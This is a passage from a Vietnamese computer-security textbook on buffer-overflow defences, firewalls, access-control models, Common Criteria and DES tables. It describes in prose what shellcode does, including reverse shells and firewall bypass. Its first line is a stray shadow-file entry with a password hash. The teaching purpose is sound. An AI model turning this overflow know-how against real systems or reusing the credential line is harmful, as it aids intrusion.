knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...

Phát triển code che ñậy


Trong ví dụ trên mô tả với Intel Linux shellcode cơ bản ñể chạy bản dịch Bourne shell.
Shellcode cần phải phù hợp với ñối số cho execve(). Nó bao gồm mọi code ñể gọi hàm
của hệ thống, phải ñộc lập với vị trí và không chứa NULLs – xâu kết thúc của C.
Thông thường chương trình che ñậy dưới vỏ bọc là tiện ích hệ thống ñáng tin cậy, dịch
vụ mạng ñặc biệt, code thư viện ñược sử dụng chung, như hình ảnh.
Các hàm của shellcode: giao diện tự sinh, tạo ñối tượng nghe ñể khởi tạo giao diện kết
nối, tạo kết nối ngược lại tới kẻ tấn công, vượt qua các qui tắc tường lửa, thoát khỏi môi
trường thực thi hạn chế.

VIII.3.4 Bảo vệ tràn bộ nhớ


Tràn bộ ñệm ñược khai thác rộng rãi, có nhiều code có lỗ hổng ñang dùng. Mặc dù
nguyên nhân và các biện pháp chống ñã biết. Có hai cách chống rộng rãi: chương trình
mới ñược gia cố trong thời gian dịch và kiểm soát tấn công chương trình ñang có trong
thời gian chạy.
Nếu sử dụng ngôn ngữ bậc cao với kiểu mạnh , thì sẽ không có lỗ hổng tràn bộ ñệm.
Chương trình dịch buộc kiểm tra cỡ và các thao tác cho phép trên các biến. Khi ñó phải
trả giá khi sử dụng nguồn và hạn chế truy cập ñến phần cứng. Tuy nhiên vẫn cần một số
code của các ngôn ngữ giống C.
- 162 -

Bảo vệ trong thời gian dịch

Thiết lập các kỹ thuật lập trình an toàn. Nếu sử dụng ngôn ngữ tiềm ẩn không an toàn
như C, lập trình viên cần viết code an toàn một cách tường minh. Bằng thiết kế với code
mới, sau khi xem xét code cũ. Xem an toàn tràn bộ ñệm như tập con các kỹ thuật lập
trình an toàn nói chung. Chú ý ñến các lỗi nhỏ, kiểm tra ñủ không gian trong bộ ñệm bất
kỳ.
Có ñề nghị mở rộng an toàn cho C như tạo ñiểm phạt thực thi, cần dịch chương trình với
chương trình dịch ñặc biệt. Có một số phương án thư viện chuẩn an toàn, các hàm mới,
như strlcpy(). Cài ñặt lại an toàn hơn một số hàm chuẩn như thư viện ñộng, chẳng hạn
Libsafe.
Bổ sung code của chức năng nhập và thoát ñể kiểm tra ngăn xếp ghi nhận việc ghi ñè, sử
dụng yếu tố ngẫu nhiên như bảo vệ ngăn xếp, kiểm tra viết ñè giữa biến cục bộ và con trỏ
khung lưu trữ và ñịa chỉ trả về. Chương trình dừng nếu phát hiện thay ñổi. Phát hành: bản
dịch lại, hỗ trợ phát hiện lỗi hoặc copy an toàn lưu trữ/kiểm tra ñịa chỉ trả về.

Bảo vệ trong thời gian chạy

Sử dụng hỗ trợ bộ nhớ ảo ñể tạo một số vùng bộ nhớ không thực thi ñược như stack,
heap, global data. Cần hỗ trợ từ các phần cứng bộ nhớ như trong SPARC / Solaris
systems, x86 Linux/Unix/Windows systems. Phát hành hỗ trợ cho code ngăn xếp thực
thi, cần một số dự phòng ñặc biệt.
Thao tác trên vị trí của các cấu trúc dữ liệu chính, sử dụng tịnh tiến ngẫu nhiên cho mỗi
tiến trình, có vùng ñịa chỉ lớn trên các phương tiện của các hệ thống hiện ñại chống các
va chạm và ñoán ñịa chỉ bộ ñệm ñích là không thể. Vị trí ngẫu nhiên cho bộ ñệm heap và
vị trí các hàm thư viện chuẩn. ðặt các trang bảo vệ giữa các vùng quan trọng của bộ nhớ,
ñặt cờ trong bộ nhớ như ñịa chỉ không hợp lệ. Có thể ngay cả ñặt giữa các khung ngăn
xếp và các bộ ñệm heap trong thời gian thực thi và phải trả giá về không gian.
Có nhiều các phương án tấn công khác: phương án tràn ngăn xếp, tràn heap, tràn dữ liệu
tổng thể, tràn xâu ñịnh dạng, tràn số nguyên. Có thể có nhiều hơn nữa ñược phát hiện
trong tương lai. Một số không thể ngăn chặn trừ khi code an toàn lúc ban ñầu.
Phương án tràn ngăn xếp chỉ viết ñè bộ ñệm và con trỏ khung lưu trữ trả về xảy ra nhưng
ñến khung giả trả về lời gọi hàm ñiều khiển bởi kẻ tấn công ñược dùng khi có tràn bộ
ñệm giới hạn. Ví dụ tách ra bởi một khung. Tuy có các hạn chế: cần biết ñịa chỉ chính xác
của bộ ñệm, hàm gọi thực hiện với khung giả, phương án tràn ngăn xếp thay ñịa chỉ trả về
bằng hàm thư viện chuẩn ñể ñáp lại sự bảo vệ ngăn xếp không thực thi. Kẻ tấn công xây
- 163 -
dựng các tham số phù hợp trên ngăn xếp phía trên ñịa chi trả về. Kẻ tấn công có thể cần
ñịa chỉ chính xác của bộ ñệm, có thể ngay cả kết nối hai lời gọi thư viện.
Cũng có tấn công bộ ñệm ñặt trong heap. Thông thường ñặt trên code của chương trình,
bộ nhớ ñược yêu cầu bởi chương trình ñể sử dụng cho các cấu trúc dữ liệu ñộng, ví dụ
như danh sách móc nối. Không có ñịa chỉ trả về, nên không có chuyển giao quyền ñiều
khiển dễ dàng. Có thể có con trỏ hàm ñể khai thác hoặc thao tác cấu trúc dữ liệu quản trị.
Cách bảo vệ là dùng heap ngẫu nhiên và không thực thi.
Có thể tấn công bộ ñệm ñặt trong dữ liệu tổng thể. Có thể ñặt phía trên code của chương
trình. Nếu có con trỏ hàm và bộ ñệm có lỗ hổng hoặc bảng quản trị các quá trình liền kề.
Nhắm tới viết ñè con trỏ hàm ñược gọi sau ñó. Cách bảo vệ là dùng vùng dữ liệu tổng thể
ngẫu nhiên và không thực thi, dịch chuyển con trỏ hàm, các trang bảo vệ.

VIII.4 Bức tường lửa


VIII.4.1 Mở ñầu
Bức tường lửa phát triển mạnh mẽ, ñược ứng dụng trong các các hệ thống thông tin.
Bây giờ mọi người ñều muốn lên Internet và các mạng liên kết với nhau. Vì vậy cần
quan tâm thường xuyên về an toàn. Không dễ dàng bảo vệ từng hệ thống trong tổ
chức. Thông thường sử dụng bức tường lửa, cung cấp vòng bảo vệ như một phần của
chiến lược an toàn toàn diện.
Bức tường lửa là gì
Là ñiểm cổ chai ñể kiểm soát và theo dõi. Các mạng liên kết với ñộ tin cậy khác nhau,
buộc có hạn chế trên các dịch vụ của mạng. Chẳng hạn, vận chuyển phải có giấy
phép. Kiểm tra và kiểm soát truy cập, có thể cài ñặt cảnh báo các hành vi bất thường.
Cung cấp bảng NAT và sử dụng theo dõi giám sát. Cài ñặt mạng riêng ảo (VPN) sử
dụng cơ chế an toàn IPSec. Có thể miễn dịch trước.
Hạn chế của bức tường lửa
Không bảo vệ ñược các tấn công ñi vòng qua nó, chẳng hạn mạng lén lút, thiết bị
modems. Nó ngăn cản cả các tổ chức tin cậy và dịch vụ tin cậy (SSL/SSH).
Không bảo vệ chống các mối ñe dọa từ bên trong, chẳng hạn như những nhân viên
bực tức hoặc thông ñồng với kẻ xấu. Không thể bảo vệ chống việc truyền các chương
trình hoặc file nhiễm virus, vì có phạm vi rất rộng các dạng file và các hệ ñiều hành
VIII.4.2 Bức tường lửa – các lọc gói
- 164 -
Là thành phần của bức tường lửa nhanh nhất và ñơn giản nhất, là cơ sở của mọi hệ
thống tường lửa. Nó kiểm tra mỗi gói IP (không có ngữ cảnh) và cho phép hay từ chối
tuỳ theo qui tắc xác ñịnh. Suy ra có hạn chế truy cập ñến các dịch vụ và các cổng.
Các ñường lối mặc ñịnh có thể
o Rằng không cho phép tức là cấm
o Rằng không cấm tức là cho phép

Tấn công các lọc gói


ðịa chỉ IP lừa ñảo: giả ñịa chỉ nguồn làm cho tin tưởng, bổ sung bộ lọc lên mạch
chuyển ñể ngăn chặn.
Tấn công mạch truyền gốc: kẻ tấn công ñặt ñược truyền khác với mặc ñịnh, ngăn
chặn các gói truyền gốc
- 165 -
Tấn công các ñoạn tin (fragment) nhỏ. Chia thông tin phần ñầu thành một số ñoạn
nhỏ. Hoặc bỏ qua hoặc sắp xếp lại trước khi kiểm tra

Bức tường lửa – các lọc gói trạng thái


Lọc gói truyền thống không kiểm tra ngữ cảnh của tầng cao hơn, tức là sánh các gói
về với dòng chảy ra. Lọc gói trạng thái hướng ñến yêu cầu ñó. Chúng kiểm tra mỗi
gói IP trong ngữ cảnh: giữ vết theo dõi với các kỳ client-server, kiểm tra từng gói
ñúng thuộc vào một phiên. Suy ra có khả năng tốt hơn phát hiện các gói giả tách khỏi
ngữ cảnh.

VIII.4.3 Bức tường lửa – cổng giao tiếp ở tầng ứng dụng (hoặc proxy)
Có cổng giao tiếp chuyên dùng cho ứng dụng – proxy (người ñược uỷ quyền).
Có truy cập ñầy ñủ ñến giao thức
o Người sử dụng yêu cầu dịch vụ từ proxy
o Proxy kiểm tra các yêu cầu có hợp lệ không
o Sau ñó xử lý yêu cầu và trả lời cho người sử dụng
o Có thể vào/theo dõi vận chuyển ở tầng ứng dụng
Cần các proxies khác nhau cho mỗi dịch vụ
o Một số dịch vụ hỗ trợ một cách tự nhiên proxy
o Những loại khác thì cần giải quyết một số vấn ñề

VIII.4.4 Bức tường lửa - cổng giao tiếp mức mạch vòng
Chuyển tiếp 2 kết nối TCP. Có sự an toàn bằng cách hạn chế mà các kết nối này cho
phép. Mỗi lần tạo ra chuyển tiếp thông thường không kiểm tra nội dung. Thông thường
ñược sử dụng khi tin cậy người sử dụng bên trong bằng cách cho phép các kết nối ra
ngoài nói chung. Gói SOCKS ñược sử dụng rộng rãi cho mục ñích này.
- 166 -

VIII.4.5 Máy chủ Bastion


Hệ thống máy chủ an toàn cao. Chạy cổng giao tiếp mức ứng dụng và mạch vòng.
Hoặc cung cấp các dịch vụ truy cập bên ngoài. Có tiềm năng thể hiện các yếu tố của
máy chủ. Vì an toàn bền vững, nên hệ ñiều hành nặng nề hơn, các dịch vụ chính, bổ
sung xác thực, proxies nhỏ, an toàn, ñộc lập, không ñặc quyền.
Có thể hỗ trợ 2 hay nhiều hơn kết nối mạng và có thể ñược tin cậy ñể ép buộc chính
sách tách bạch tin cậy giữa các kết nối mạng.

Cấu hình bức tường lửa (Firewall Configurations)


- 167 -

VIII.4.6 Kiểm soát truy cập


Hệ thống ñã xác ñịnh ñược ñịnh danh như người sử dụng, xác ñịnh các nguồn gốc nào
nó có thể truy cập. Mô hình tổng quát là ma trận truy cập với
o Chủ thể - thực thể chủ ñộng (người sử dụng, quá trình)
o ðối tượng - thực thể bị ñộng (file hoặc nguồn)
o Quyền truy cập – cách mà ñối tượng ñược truy cập
Có thể ñược phân tách bởi
o Các cột như danh sách kiểm soát truy cập
o Các hàng như các thẻ về khả năng

Ma trận kiểm soát quyền truy cập


- 168 -
VIII.4.7 Các hệ thống máy tính tin cậy
An toàn thông tin ngày càng quan trọng. Có các mức ñộ khác nhau về sự nhạy cảm
của thông tin
o Phân loại thông tin quân sự: bảo mật, bí mật
Chủ thể (người hoặc chương trình) có nhiều quyền khác nhau truy cập ñến các ñối
tượng thông tin. ðược biết như an toàn nhiều tầng
o Chủ thể có mức ñộ an toàn tối ña và hiện tại
o ðối tượng có phân loại mức ñộ tin cậy cố ñịnh
Muốn xem xét các cách tăng ñộ tin tưởng trong hệ thống ñể củng cố các quyền ñó.

VIII.4.8 Mô hình Bell LaPadula


Một trong những mô hình an toàn nổi tiếng nhất. ðược cài ñặt như các chính sách bắt
buộc trong hệ thống. Có hai chính sách chính
o Không ñọc lên (tính chất an toàn ñơn giản)
 Chủ thể chỉ có thể ñọc/viết các ñối tượng nếu mức ñộ an toàn hiện
tại của chủ thể trội hơn (>=) phân loại của ñối tượng
o Không viết xuống (tính chất *)
 Chủ thể chỉ có thể bổ sung/viết lên ñối tượng nếu mức ñộ an toàn
hiện tại của chủ thể ñược trội (<=) bởi phân loại của ñối tượng

Reference Monitor
(Giao diện chỉ dẫn)
- 169 -

Các hệ thống máy tính triển khai


Chính phủ có thể phát triển các hệ thống IT. ðương ñầu với phạm vi rộng các chuẩn
o TCSEC, IPSEC và bây giờ là Tiêu chuẩn Chung
Xác ñịnh một số mức ñộ triển khai với tăng cường kiểm tra qui tắc. ðã xuất bản
danh sách các sản phẩm triển khai
o Chỉ hướng tới sử dụng cho chính phủ/quốc phòng
o Cũng có thể hữu ích trong công nghiệp

VIII.4.9 Tiêu chuẩn chung


ðặc tả yêu cầu an toàn quốc tế khởi ñầu và xác ñịnh tiêu chuẩn triển khai. Tích hợp
với các chuẩn khác
o Chẳng hạn CSEC, ITSEC, CTCPEC (Canada), Federal (US)
ðặc tả các chuẩn cho
o Tiêu chuẩn triển khai
o Phương pháp luận cho ứng dụng của Tiêu chuẩn
o Các thủ tục hành chính triển khai, chứng nhận và các sơ ñồ chỉ ñịnh
Xác ñịnh tập các yêu cầu an toàn, có ñích triển khai (TOE). Yêu cầu rơi vào trong 2
loại sau
o Chức năng
o Sự tin cậy
Cả hai ñược tổ chức theo lớp classes của họ hoặc cấu thành

Các yêu cầu Tiêu chuẩn chung


Yêu cầu chức năng
o Kiểm soát an toàn, hỗ trợ mã, trao ñổi thông tin, bảo vệ dữ liệu người sử
dụng, ñịnh danh và xác thực, quản lý an toàn, tính riêng tư, bảo vệ các
hàm an toàn tin cậy, nguồn thiết thực, truy cập TOE, ñường dẫn tin cậy
Yêu cầu sự tin cậy
o Quản lý tham số hệ thống, phân phối và thao tác, phát triển, tài liệu chỉ
dẫn, hỗ trợ thời gian sống, kiểm tra, ñánh giá lỗ hổng, bảo trì sự tin cậy

Bài tập

1. Liệt kê và phân loại các phần mềm có hại và các biện pháp phòng chống.
2. Phân tích các kỹ thuật xâm nhập hệ thống và cách phòng ngừa.
- 170 -
3. Nêu các biện pháp tăng cường an ninh, bảo mật máy tính cá nhân dựa trên các
phần mềm thông dụng hiện có.
4. Mục ñích yêu cầu của việc xây dựng bức tường lửa. Có những loại bức tường lửa
nào.
5. Nêu cách thiết lập bức tường lửa sử dụng công cụ hỗ trợ trong hệ ñiều hành.
6. Phân tích các lỗi tràn bộ nhớ có thể xảy ra, nêu nguyên nhân.
7. Tìm hiểu các yêu cầu lập trình an toàn.
8. Trình bày một số mô hình hệ thống máy tính tin cậy.
- 171 -
DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT
Stt Ký hiệu Diễn giải

1 ACL Access Control List – Danh sách kiểm soát truy cập

2 AES Advanced Encryption Standard - chuẩn mã quốc tế

3 AH Authentication Header - ñầu mục xác thực

4 CA Certification authority - Chủ quyền chứng nhận

5 CERT Computer emergency response team - ðội cấp cứu sự cố máy tính

6 CRL Certificate revocation list – Danh sách thu hồi chứng nhận

7 CSDL Cơ sở dữ liệu

8 CNTT Công nghệ thông tin

9 CSHT Cơ sở hạ tầng

10 CBC Cipher Block Chaining – Dãy mã khối

11 CFB Cipher feedback - Phản hồi mã

12 DBA Database administrator - Quản trị hệ thống

13 DES Data Encription Standards - Chuẩn mã dữ liệu

14 DNA Domain Name System - Hệ thống tên miền

15 DSA Digital signature Algorithm - Thuật toán chữ ký ñiện tử

16 DSS Digital signature standard – Chuẩn chữ ký ñiện tử

17 ECB Electronic codebook – sách mã ñiện tử

18 ECC Encription curve code – mã ñường cong Elip

19 ESP Encapsulating security payload – tải bảo mật ñóng gói

20 FIPS Federal Information Processing Standard - chuẩn xử lý thông tin


- 172 -
Liên bang

21 IDEA International data encryption algorithm - Thuật toán mã dữ liệu


quốc tế

22 IPKI Internet X.509 public key Infrastructure - Hạ tầng khoá công khai
Internet X.509

23 KDC Key Distribution Center – Trung tâm phân phối khóa

24 LAN Local area network – mạng cục bộ

25 MD Message digest – digest bản tin

26 NAT Network address translation – dịch ñịa chỉ mạng

27 PKCS Public key cryptography standard – Chuẩn mã khoa công khai

28 PKI Public Key Infrastructure - Hạ tầng khoá chung

29 PGP Pretty Good Privacy – Phần mềm bảo mật thư ñiện tử

30 RSA Thuật toán mã công khai RSA mang tên Rivest, Shamir, Adleman

31 SET Secure Electronic transaction – Thanh toán ñiện tử an toàn

32 SHA1 Secure hash algorithm 1 – Thuật toán băm 1

33 SMTP Simple Mail Transfer Protocol – Giao thức chuyển thư ñơn giản

34 SOAP Simple Object Access Protocol – Giao thức truy cập ñối tượng
ñơn giản

35 SSL Secure Socket Layer – giao thức bảo mật lớp vận chuyển

36 TLS Transport Layer Security – Chuẩn giao thức bảo mật lớp vận
chuyển

37 UID User Identification – ðịnh danh người sử dụng

38 TTP Trusted Third Party – Bên thứ ba tin cậy


- 173 -

39 URL Uniform Resource Locator – ðịa chỉ nguồn thống nhất

40 VPN Virtual private network - mạng riêng ảo

41 WAN Wide area network - mạng diện rộng

42 WTLS Wireless transport layer security – an toàn tầng vận chuyển không
dây
- 174 -
TÀI LIỆU THAM KHẢO
[1] William Stallings. Cryptography and Network Security: Principles and Practice. Third
Edition. Pearson Education, 2003.
[2] A. Menezes, P. van Oorschot và S. Vanstone. - Handbook of Applied Cryptography,
Fifth Edition, CRC Press, 1996.
[3] Douglas Stinson - Cryptography: Theory and Practice. Boca Raton. FL. CRC Press,
2007.
[4] http://en.wikipedia.org
[5] http://vn.wikipedia.org
[6] http://www.ietf.org/rfc
[7] http://www.schneier.com/blowfish.html
[8] http://www.rsasecurity.com
[9] http://people.csail.mit.edu/rivest/crypto-security.html
[10] Nguyễn Ngọc Tuấn, Hồng Phúc. Công nghệ bảo mật World Wide Web.
Nhà xuất bản Thống kê, 2005.
- 175 -
PHỤ LỤC
1. Phụ lục thuật toán DES
1.1 Phụ lục 1.1

IP
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5
63 55 47 39 31 23 15 7

1.2 Phụ lục 1.2

IP-1
40 8 48 16 56 24 64 32
39 7 47 15 55 23 63 31
38 6 46 14 54 22 62 30
37 5 45 13 53 21 61 29
36 4 44 12 52 20 60 28
35 3 43 11 51 19 59 27
34 2 42 10 50 18 58 26
33 1 41 9 49 17 57 25

1.3 Phụ lục 1.3


E
32 1 2 3 4 5
4 5 6 7 8 9
8 9 10 11 12 13
12 13 14 15 16 17
16 17 18 19 20 21
20 21 22 23 24 25
24 25 26 27 28 29
28 29 30 31 32 1
- 176 -

1.4 Phụ lục 1.4: S box

Hàng
Cột
[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15]
S1
[0] 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
[1] 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
[2] 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
[3] 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
S2
[0] 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10
[1] 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5
[2] 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15
[3] 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9
S3
[0] 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
[1] 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
[2] 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7
[3] 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S4
[0] 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15
[1] 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9
[2] 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4
[3] 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14
S5
[0] 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9
[1] 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6
[2] 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14
[3] 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3
S6
- 177 -
[0] 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11
[1] 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8
[2] 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6
[3] 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13
S7
[0] 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1
[1] 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6
[2] 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2
[3] 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12
S8
[0] 13 2 8 4 6 15 11 1 10. 9 3 14 5 0 12 7
[1] 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2
[2] 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8
[3] 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11

1.5 Phụ lục 1.5


P
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
1.6 Phụ lục 1.6

PC1
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
- 178 -
21 13 5 28 20 12 4
1.7 Phụ lục 1.7
PC2
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53
46 42 50 36 29 32

You might also like